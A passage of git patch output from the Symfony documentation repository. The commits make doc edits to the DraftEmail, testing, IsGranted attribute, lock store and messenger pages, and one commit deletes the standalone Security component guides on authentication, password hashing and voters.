+the ``X-Unsent`` header. Many email clients can open these files and interpret
+them as *draft emails*. You can use these to create advanced ``mailto:`` links.
+
+Here's an example of making one available to download::
+
+    // src/Controller/DownloadEmailController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpFoundation\ResponseHeaderBag;
+    use Symfony\Component\Mime\DraftEmail;
+    use Symfony\Component\Routing\Annotation\Route;
+
+    class DownloadEmailController extends AbstractController
+    {
+        #[Route('/download-email')]
+        public function __invoke(): Response
+        {
+            $message = (new DraftEmail())
+                ->html($this->renderView(/* ... */))
+                ->attach(/* ... */)
+            ;
+
+            $response = new Response($message->toString());
+            $contentDisposition = $response->headers->makeDisposition(
+                ResponseHeaderBag::DISPOSITION_ATTACHMENT,
+                'download.eml'
+            );
+            $response->headers->set('Content-Type', 'message/rfc822');
+            $response->headers->set('Content-Disposition', $contentDisposition);
+
+            return $response;
+        }
+    }
+
+.. note::
+
+    As it's possible for :class:`Symfony\\Component\\Mime\\DraftEmail`'s to be created
+    without a To/From they cannot be sent with the mailer.
+
 Development & Debugging
 -----------------------
 

From 45cc1cf2ebbd31b781fbd25f41873377f1b6464b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Dec 2021 09:56:40 +0100
Subject: [PATCH 2887/7107] [Testing] Minor tweaks in the main testing article

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4147ab361a0..884e0943b8c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -222,7 +222,7 @@ If you need to customize some environment variables for your tests (e.g. the
 ``DATABASE_URL`` used by Doctrine), you can do that by overriding anything you
 need in your ``.env.test`` file:
 
-.. code-block:: text
+.. code-block:: env
 
     # .env.test
 
@@ -268,7 +268,7 @@ the container is stored in ``static::getContainer()``::
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
             $newsletter = $newsletterGenerator->generateMonthlyNews(...);
 
-            $this->assertEquals(..., $newsletter->getContent());
+            $this->assertEquals('...', $newsletter->getContent());
         }
     }
 

From fc546909b5fd02b2ffb5c43f370de728cacb7e9b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Dec 2021 17:41:22 +0100
Subject: [PATCH 2888/7107] [Security] Add PHP attributes to a PHP annotations
 example

---
 security.rst | 67 ++++++++++++++++++++++++++++++++++++----------------
 1 file changed, 46 insertions(+), 21 deletions(-)

diff --git a/security.rst b/security.rst
index 3412b678322..39965fd1530 100644
--- a/security.rst
+++ b/security.rst
@@ -2199,30 +2199,55 @@ will happen:
 Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
 using annotations:
 
-.. code-block:: diff
+.. configuration-block::
 
-      // src/Controller/AdminController.php
-      // ...
+    .. code-block:: php-annotations
 
-    + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+        // src/Controller/AdminController.php
+        // ...
 
-    + /**
-    +  * Require ROLE_ADMIN for *every* controller method in this class.
-    +  *
-    +  * @IsGranted("ROLE_ADMIN")
-    +  */
-      class AdminController extends AbstractController
-      {
-    +     /**
-    +      * Require ROLE_ADMIN for only this controller method.
-    +      *
-    +      * @IsGranted("ROLE_ADMIN")
-    +      */
-          public function adminDashboard(): Response
-          {
-              // ...
-          }
-      }
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+
+        /**
+         * Require ROLE_ADMIN for all the actions of this controller
+         *
+         * @IsGranted("ROLE_ADMIN")
+         */
+        class AdminController extends AbstractController
+        {
+            /**
+             * Require ROLE_SUPER_ADMIN only for this action
+             *
+             * @IsGranted("ROLE_SUPER_ADMIN")
+             */
+            public function adminDashboard(): Response
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/AdminController.php
+        // ...
+
+        use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
+
+        /**
+         * Require ROLE_ADMIN for all the actions of this controller
+         */
+        #[IsGranted('ROLE_ADMIN')]
+        class AdminController extends AbstractController
+        {
+            /**
+             * Require ROLE_SUPER_ADMIN only for this action
+             */
+            #[IsGranted('ROLE_SUPER_ADMIN')]
+            public function adminDashboard(): Response
+            {
+                // ...
+            }
+        }
 
 For more information, see the `FrameworkExtraBundle documentation`_.
 

From 085c6535e7b113a1b4beb3f0e67aee14f7aea178 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <bruno.baguette@gmail.com>
Date: Wed, 22 Dec 2021 20:14:39 +0100
Subject: [PATCH 2889/7107] Fix wrong path (aka 404 error) for
 security_events.svg diagram
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

"../" ➤ "./"
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 39965fd1530..16442d23b58 100644
--- a/security.rst
+++ b/security.rst
@@ -2589,7 +2589,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="../_images/security/security_events.svg" type="image/svg+xml"></object>
+    <object data="./_images/security/security_events.svg" type="image/svg+xml"></object>
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\CheckPassportEvent`
     Dispatched after the authenticator created the :ref:`security passport <security-passport>`.

From 990b413b62049185c623133c8894a85f4c63686d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 23 Dec 2021 09:03:16 +0100
Subject: [PATCH 2890/7107] Minor formatting tweaks

---
 components/lock.rst | 33 +++++++++++++++++----------------
 1 file changed, 17 insertions(+), 16 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index ff173f88252..4069a238ee5 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -473,9 +473,9 @@ MongoDB Connection String:
 PdoStore
 ~~~~~~~~
 
-The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore but requires
-a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The PdoStore saves locks in an SQL database. It is identical to DoctrineDbalStore
+but requires a `PDO`_ connection or a `Data Source Name (DSN)`_. This store does
+not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
@@ -495,16 +495,17 @@ your code.
 
 .. deprecated:: 5.4
 
-    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalStore`` instead.
+    Using ``PdoStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
+    Use ``DoctrineDbalStore`` instead.
 
 .. _lock-store-dbal:
 
 DoctrineDbalStore
 ~~~~~~~~~~~~~~~~~
 
-The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore but requires a
-`Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store does not
-support blocking, and expects a TTL to avoid stalled locks::
+The DoctrineDbalStore saves locks in an SQL database. It is identical to PdoStore
+but requires a `Doctrine DBAL Connection`_, or a `Doctrine DBAL URL`_. This store
+does not support blocking, and expects a TTL to avoid stalled locks::
 
     use Symfony\Component\Lock\Store\PdoStore;
 
@@ -525,8 +526,8 @@ in your code or create this table explicitly by calling the
 
 .. versionadded:: 5.4
 
-    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore`` when
-    used with Doctrine DBAL.
+    The ``DoctrineDbalStore`` was introduced in Symfony 5.4 to replace ``PdoStore``
+    when used with Doctrine DBAL.
 
 .. _lock-store-pgsql:
 
@@ -553,17 +554,17 @@ store locks and it does not expire.
 
 .. deprecated:: 5.4
 
-    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4. Use ``DoctrineDbalPostgreSqlStore`` instead.
+    Using ``PostgreSqlStore`` with Doctrine DBAL is deprecated in Symfony 5.4.
+    Use ``DoctrineDbalPostgreSqlStore`` instead.
 
 .. _lock-store-dbal-pgsql:
 
 DoctrineDbalPostgreSqlStore
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL. It is identical to PostgreSqlStore
-but requires a `Doctrine DBAL Connection`_ or a `Doctrine DBAL URL`_.
-It supports native blocking, as well as sharing
-locks::
+The DoctrineDbalPostgreSqlStore uses `Advisory Locks`_ provided by PostgreSQL.
+It is identical to PostgreSqlStore but requires a `Doctrine DBAL Connection`_ or
+a `Doctrine DBAL URL`_. It supports native blocking, as well as sharing locks::
 
     use Symfony\Component\Lock\Store\PostgreSqlStore;
 
@@ -576,8 +577,8 @@ store locks and does not expire.
 
 .. versionadded:: 5.4
 
-    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace ``PostgreSqlStore`` when
-    used with Doctrine DBAL.
+    The ``DoctrineDbalPostgreSqlStore`` was introduced in Symfony 5.4 to replace
+    ``PostgreSqlStore`` when used with Doctrine DBAL.
 
 .. _lock-store-redis:
 

From b8602c42aa4c1b77c313a182b44c2e5758d2e45f Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Thu, 23 Dec 2021 04:00:35 -0500
Subject: [PATCH 2891/7107] Remove mention to unsupported `prefetch_count`
 config option

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2c58714f813..d14ae50564d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1187,7 +1187,6 @@ The transport has a number of options:
 ``password``                                  Password to use to connect to the AMQP service
 ``persistent``                                                                                   ``'false'``
 ``port``                                      Port of the AMQP service
-``prefetch_count``
 ``read_timeout``                              Timeout in for income activity. Note: 0 or
                                               greater seconds. May be fractional.
 ``retry``

From 94bd8d257d0d1ed7da5c8e7ca57b466623948159 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 23 Dec 2021 20:17:17 +0100
Subject: [PATCH 2892/7107] Merge standalone Security component docs with
 Security guide

---
 components/security.rst                   |  65 -----
 components/security/authentication.rst    | 334 ----------------------
 components/security/authorization.rst     | 281 ------------------
 components/security/firewall.rst          | 164 -----------
 components/security/secure_tools.rst      |  56 ----
 controller/argument_value_resolver.rst    |   2 +-
 introduction/from_flat_php_to_symfony.rst |   7 +-
 reference/configuration/security.rst      |   2 +-
 security/passwords.rst                    | 113 +++++++-
 security/voters.rst                       |  23 +-
 10 files changed, 121 insertions(+), 926 deletions(-)
 delete mode 100644 components/security.rst
 delete mode 100644 components/security/authentication.rst
 delete mode 100644 components/security/authorization.rst
 delete mode 100644 components/security/firewall.rst
 delete mode 100644 components/security/secure_tools.rst

diff --git a/components/security.rst b/components/security.rst
deleted file mode 100644
index 9985b611c63..00000000000
--- a/components/security.rst
+++ /dev/null
@@ -1,65 +0,0 @@
-.. index::
-   single: Security
-
-The Security Component
-======================
-
-    The Security component provides a complete security system for your web
-    application. It ships with facilities for authenticating using HTTP basic
-    authentication, interactive form login or X.509 certificate login, but also
-    allows you to implement your own authentication strategies. Furthermore, the
-    component provides ways to authorize authenticated users based on their
-    roles.
-
-Installation
-------------
-
-The Security component is divided into several smaller sub-components which can
-be used separately:
-
-``symfony/security-core``
-    It provides all the common security features, from authentication to
-    authorization and from encoding passwords to loading users.
-
-``symfony/security-http``
-    It integrates the core sub-component with the HTTP protocol to handle HTTP
-    requests and responses.
-
-``symfony/security-csrf``
-    It provides protection against `CSRF attacks`_.
-
-``symfony/security-guard``
-    It brings many layers of authentication together, allowing the creation
-    of complex authentication systems.
-
-You can install each of them separately in your project:
-
-.. code-block:: terminal
-
-    $ composer require symfony/security-core
-    $ composer require symfony/security-http
-    $ composer require symfony/security-csrf
-    $ composer require symfony/security-guard
-
-.. include:: /components/require_autoload.rst.inc
-
-.. seealso::
-
-    This article explains how to use the Security features as an independent
-    component in any PHP application. Read the :doc:`/security` article to learn
-    about how to use it in Symfony applications.
-
-Learn More
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /components/security/*
-    /security
-    /security/*
-    /reference/configuration/security
-    /reference/constraints/UserPassword
-
-.. _`CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
diff --git a/components/security/authentication.rst b/components/security/authentication.rst
deleted file mode 100644
index ad89cd785c2..00000000000
--- a/components/security/authentication.rst
+++ /dev/null
@@ -1,334 +0,0 @@
-.. index::
-   single: Security, Authentication
-
-Authentication
-==============
-
-When a request points to a secured area, and one of the listeners from the
-firewall map is able to extract the user's credentials from the current
-:class:`Symfony\\Component\\HttpFoundation\\Request` object, it should create
-a token, containing these credentials. The next thing the listener should
-do is ask the authentication manager to validate the given token, and return
-an *authenticated* token if the supplied credentials were found to be valid.
-The listener should then store the authenticated token using
-:class:`the token storage <Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface>`::
-
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
-
-    class SomeAuthenticationListener
-    {
-        /**
-         * @var TokenStorageInterface
-         */
-        private $tokenStorage;
-
-        /**
-         * @var AuthenticationManagerInterface
-         */
-        private $authenticationManager;
-
-        /**
-         * @var string Uniquely identifies the secured area
-         */
-        private $providerKey;
-
-        // ...
-
-        public function __invoke(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            $username = ...;
-            $password = ...;
-
-            $unauthenticatedToken = new UsernamePasswordToken(
-                $username,
-                $password,
-                $this->providerKey
-            );
-
-            $authenticatedToken = $this
-                ->authenticationManager
-                ->authenticate($unauthenticatedToken);
-
-            $this->tokenStorage->setToken($authenticatedToken);
-        }
-    }
-
-.. note::
-
-    A token can be of any class, as long as it implements
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`.
-
-The Authentication Manager
---------------------------
-
-The default authentication manager is an instance of
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationProviderManager`::
-
-    use Symfony\Component\Security\Core\Authentication\AuthenticationProviderManager;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    // instances of Symfony\Component\Security\Core\Authentication\Provider\AuthenticationProviderInterface
-    $providers = [...];
-
-    $authenticationManager = new AuthenticationProviderManager($providers);
-
-    try {
-        $authenticatedToken = $authenticationManager
-            ->authenticate($unauthenticatedToken);
-    } catch (AuthenticationException $exception) {
-        // authentication failed
-    }
-
-The ``AuthenticationProviderManager``, when instantiated, receives several
-authentication providers, each supporting a different type of token.
-
-.. note::
-
-    You may write your own authentication manager, the only requirement is that
-    it implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\AuthenticationManagerInterface`.
-
-.. _authentication_providers:
-
-Authentication Providers
-------------------------
-
-Each provider (since it implements
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface`)
-has a :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::supports` method
-by which the ``AuthenticationProviderManager``
-can determine if it supports the given token. If this is the case, the
-manager then calls the provider's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\AuthenticationProviderInterface::authenticate` method.
-This method should return an authenticated token or throw an
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`
-(or any other exception extending it).
-
-Authenticating Users by their Username and Password
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-An authentication provider will attempt to authenticate a user based on
-the credentials they provided. Usually these are a username and a password.
-Most web applications store their user's username and a hash of the user's
-password combined with a randomly generated salt. This means that the average
-authentication would consist of fetching the salt and the hashed password
-from the user data storage, hash the password the user has just provided
-(e.g. using a login form) with the salt and compare both to determine if
-the given password is valid.
-
-This functionality is offered by the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`.
-It fetches the user's data from a :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`,
-uses a :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-to create a hash of the password and returns an authenticated token if the
-password was valid::
-
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactoryInterface;
-    use Symfony\Component\Security\Core\Authentication\Provider\DaoAuthenticationProvider;
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Core\User\UserChecker;
-
-    // The 'InMemoryUser' class was introduced in Symfony 5.3.
-    // In previous versions it was called 'User'
-    $userProvider = new InMemoryUserProvider(
-        [
-            'admin' => [
-                // password is "foo"
-                'password' => '5FZ2Z8QIkA7UTZ4BYkoC+GsReLf569mSKDsfods6LYQ8t+a8EW9oaircfMpmaLbPBh4FOBiiFyLfuZmTSUwzZg==',
-                'roles'    => ['ROLE_ADMIN'],
-            ],
-        ]
-    );
-
-    // for some extra checks: is account enabled, locked, expired, etc.
-    $userChecker = new UserChecker();
-
-    // an array of password hashers (see below)
-    $hasherFactory = new PasswordHasherFactoryInterface(...);
-
-    $daoProvider = new DaoAuthenticationProvider(
-        $userProvider,
-        $userChecker,
-        'secured_area',
-        $hasherFactory
-    );
-
-    $daoProvider->authenticate($unauthenticatedToken);
-
-.. note::
-
-    The example above demonstrates the use of the "in-memory" user provider,
-    but you may use any user provider, as long as it implements
-    :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`.
-    It is also possible to let multiple user providers try to find the user's
-    data, using the :class:`Symfony\\Component\\Security\\Core\\User\\ChainUserProvider`.
-
-.. _the-password-encoder-factory:
-
-The Password Hasher Factory
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authentication\\Provider\\DaoAuthenticationProvider`
-uses a factory to create a password hasher for a given type of user. This allows
-you to use different hashing strategies for different types of users.
-The default :class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`
-receives an array of hashers::
-
-    use Acme\Entity\LegacyUser;
-    use Symfony\Component\PasswordHasher\Hasher\MessageDigestPasswordHasher;
-    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
-    use Symfony\Component\Security\Core\User\InMemoryUser;
-
-    $defaultHasher = new MessageDigestPasswordHasher('sha512', true, 5000);
-    $weakHasher = new MessageDigestPasswordHasher('md5', true, 1);
-
-    $hashers = [
-        InMemoryUser::class => $defaultHasher,
-        LegacyUser::class   => $weakHasher,
-        // ...
-    ];
-    $hasherFactory = new PasswordHasherFactory($hashers);
-
-Each hasher should implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-or be an array with a ``class`` and an ``arguments`` key, which allows the
-hasher factory to construct the hasher only when it is needed.
-
-.. _creating-a-custom-password-encoder:
-
-Creating a custom Password Hasher
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-There are many built-in password hasher. But if you need to create your
-own, it needs to follow these rules:
-
-#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface`
-   (you can also extend :class:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasher`);
-
-#. The implementations of
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::hashPassword`
-   and
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\UserPasswordHasherInterface::isPasswordValid`
-   must first of all make sure the password is not too long, i.e. the password length is no longer
-   than 4096 characters. This is for security reasons (see `CVE-2013-5750`_), and you can use the
-   :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong`
-   method for this check::
-
-       use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait;
-       use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasher;
-       use Symfony\Component\Security\Core\Exception\BadCredentialsException;
-
-       class FoobarHasher extends UserPasswordHasher
-       {
-           use CheckPasswordLengthTrait;
-
-           public function hashPassword(UserInterface $user, string $plainPassword): string
-           {
-               if ($this->isPasswordTooLong($user->getPassword())) {
-                   throw new BadCredentialsException('Invalid password.');
-               }
-
-               // ...
-           }
-
-           public function isPasswordValid(UserInterface $user, string $plainPassword)
-           {
-               if ($this->isPasswordTooLong($user->getPassword())) {
-                   return false;
-               }
-
-               // ...
-           }
-       }
-
-.. _using-password-encoders:
-
-Using Password Hashers
-~~~~~~~~~~~~~~~~~~~~~~
-
-When the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory::getPasswordHasher`
-method of the password hasher factory is called with the user object as
-its first argument, it will return a hasher of type :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`
-which should be used to hash this user's password::
-
-    // a Acme\Entity\LegacyUser instance
-    $user = ...;
-
-    // the password that was submitted, e.g. when registering
-    $plainPassword = ...;
-
-    $hasher = $hasherFactory->getPasswordHasher($user);
-
-    // returns $weakHasher (see above)
-    $hashedPassword = $hasher->hashPassword($user, $plainPassword);
-
-    $user->setPassword($hashedPassword);
-
-    // ... save the user
-
-Now, when you want to check if the submitted password (e.g. when trying to log
-in) is correct, you can use::
-
-    // fetch the Acme\Entity\LegacyUser
-    $user = ...;
-
-    // the submitted password, e.g. from the login form
-    $plainPassword = ...;
-
-    $validPassword = $hasher->isPasswordValid($user, $plainPassword);
-
-Authentication Events
----------------------
-
-The security component provides the following authentication events:
-
-===============================  ======================================================================== ==============================================================================
-Name                             Event Constant                                                           Argument Passed to the Listener
-===============================  ======================================================================== ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
-security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                         :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
-security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                                    :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
-security.switch_user             ``SecurityEvents::SWITCH_USER``                                          :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`
-security.logout_on_change        ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent::class``    :class:`Symfony\\Component\\Security\\Http\\Event\\DeauthenticatedEvent`
-===============================  ======================================================================== ==============================================================================
-
-Authentication Success and Failure Events
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-When a provider authenticates the user, a ``security.authentication.success``
-event is dispatched. But beware - this event may fire, for example, on *every*
-request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if the token is not authenticated before AccessListener is invoked.
-See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
-
-When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
-a ``security.authentication.failure`` event is dispatched. You could listen on
-the ``security.authentication.failure`` event, for example, in order to log
-failed login attempts.
-
-Security Events
-~~~~~~~~~~~~~~~
-
-The ``security.interactive_login`` event is triggered after a user has actively
-logged into your website.  It is important to distinguish this action from
-non-interactive authentication methods, such as:
-
-* authentication based on your session.
-* authentication using a HTTP basic header.
-
-You could listen on the ``security.interactive_login`` event, for example, in
-order to give your user a welcome flash message every time they log in.
-
-The ``security.switch_user`` event is triggered every time you activate
-the ``switch_user`` firewall listener.
-
-The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change. It can help you perform clean-up tasks.
-
-.. seealso::
-
-    For more information on switching users, see
-    :doc:`/security/impersonating_user`.
-
-.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
deleted file mode 100644
index ffc4edc278a..00000000000
--- a/components/security/authorization.rst
+++ /dev/null
@@ -1,281 +0,0 @@
-.. index::
-   single: Security, Authorization
-
-Authorization
-=============
-
-When any of the authentication providers (see :ref:`authentication_providers`)
-has verified the still-unauthenticated token, an authenticated token will
-be returned. The authentication listener should set this token directly
-in the :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface`
-using its :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorageInterface::setToken`
-method.
-
-From then on, the user is authenticated, i.e. identified. Now, other parts
-of the application can use the token to decide whether or not the user may
-request a certain URI, or modify a certain object. This decision will be made
-by an instance of :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`.
-
-An authorization decision will always be based on a few things:
-
-* The current token
-    For instance, the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
-    method may be used to retrieve the roles of the current user (e.g.
-    ``ROLE_SUPER_ADMIN``), or a decision may be based on the class of the token.
-* A set of attributes
-    Each attribute stands for a certain right the user should have, e.g.
-    ``ROLE_ADMIN`` to make sure the user is an administrator.
-* An object (optional)
-    Any object for which access control needs to be checked, like
-    an article or a comment object.
-
-.. _components-security-access-decision-manager:
-
-Access Decision Manager
------------------------
-
-Since deciding whether or not a user is authorized to perform a certain
-action can be a complicated process, the standard :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManager`
-itself depends on multiple voters, and makes a final verdict based on all
-the votes (either positive, negative or neutral) it has received. It
-recognizes several strategies:
-
-``affirmative`` (default)
-    grant access as soon as there is one voter granting access;
-
-``consensus``
-    grant access if there are more voters granting access than there are denying;
-
-``unanimous``
-    only grant access if none of the voters has denied access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``).
-
-``priority``
-    grants or denies access by the first voter that does not abstain;
-
-    .. versionadded:: 5.1
-
-        The ``priority`` version strategy was introduced in Symfony 5.1.
-
-Usage of the available options in detail::
-
-    use Symfony\Component\Security\Core\Authorization\AccessDecisionManager;
-
-    // instances of Symfony\Component\Security\Core\Authorization\Voter\VoterInterface
-    $voters = [...];
-
-    // one of "affirmative", "consensus", "unanimous", "priority"
-    $strategy = ...;
-
-    // whether or not to grant access when all voters abstain
-    $allowIfAllAbstainDecisions = ...;
-
-    // whether or not to grant access when there is no majority (applies only to the "consensus" strategy)
-    $allowIfEqualGrantedDeniedDecisions = ...;
-
-    $accessDecisionManager = new AccessDecisionManager(
-        $voters,
-        $strategy,
-        $allowIfAllAbstainDecisions,
-        $allowIfEqualGrantedDeniedDecisions
-    );
-
-.. seealso::
-
-    You can change the default strategy in the
-    :ref:`configuration <security-voters-change-strategy>`.
-
-Voters
-------
-
-Voters are instances
-of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
-which means they have to implement a few methods which allows the decision
-manager to use them:
-
-``vote(TokenInterface $token, $object, array $attributes)``
-    this method will do the actual voting and return a value equal to one
-    of the class constants of :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\VoterInterface`,
-    i.e. ``VoterInterface::ACCESS_GRANTED``, ``VoterInterface::ACCESS_DENIED``
-    or ``VoterInterface::ACCESS_ABSTAIN``;
-
-The Security component contains some standard voters which cover many use
-cases:
-
-AuthenticatedVoter
-~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\AuthenticatedVoter`
-voter supports the attributes ``IS_AUTHENTICATED_FULLY``,
-``IS_AUTHENTICATED_REMEMBERED``, ``IS_AUTHENTICATED_ANONYMOUSLY``,
-to grant access based on the current level of authentication, i.e. is the
-user fully authenticated, or only based on a "remember-me" cookie, or even
-authenticated anonymously?
-
-It also supports the attributes ``IS_ANONYMOUS``, ``IS_REMEMBERED``,
-``IS_IMPERSONATOR`` to grant access based on a specific state of
-authentication.
-
-.. versionadded:: 5.1
-
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
-
-::
-
-    use Symfony\Component\Security\Core\Authentication\AuthenticationTrustResolver;
-
-    $trustResolver = new AuthenticationTrustResolver();
-
-    $authenticatedVoter = new AuthenticatedVoter($trustResolver);
-
-    // instance of Symfony\Component\Security\Core\Authentication\Token\TokenInterface
-    $token = ...;
-
-    // any object
-    $object = ...;
-
-    $vote = $authenticatedVoter->vote($token, $object, ['IS_AUTHENTICATED_FULLY']);
-
-RoleVoter
-~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
-supports attributes starting with ``ROLE_`` and grants access to the user
-when at least one required ``ROLE_*`` attribute can be found in the array of
-roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
-method::
-
-    use Symfony\Component\Security\Core\Authorization\Voter\RoleVoter;
-
-    $roleVoter = new RoleVoter('ROLE_');
-
-    $roleVoter->vote($token, $object, ['ROLE_ADMIN']);
-
-RoleHierarchyVoter
-~~~~~~~~~~~~~~~~~~
-
-The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleHierarchyVoter`
-extends :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
-and provides some additional functionality: it knows how to handle a
-hierarchy of roles. For instance, a ``ROLE_SUPER_ADMIN`` role may have sub-roles
-``ROLE_ADMIN`` and ``ROLE_USER``, so that when a certain object requires the
-user to have the ``ROLE_ADMIN`` role, it grants access to users who in fact
-have the ``ROLE_ADMIN`` role, but also to users having the ``ROLE_SUPER_ADMIN``
-role::
-
-    use Symfony\Component\Security\Core\Authorization\Voter\RoleHierarchyVoter;
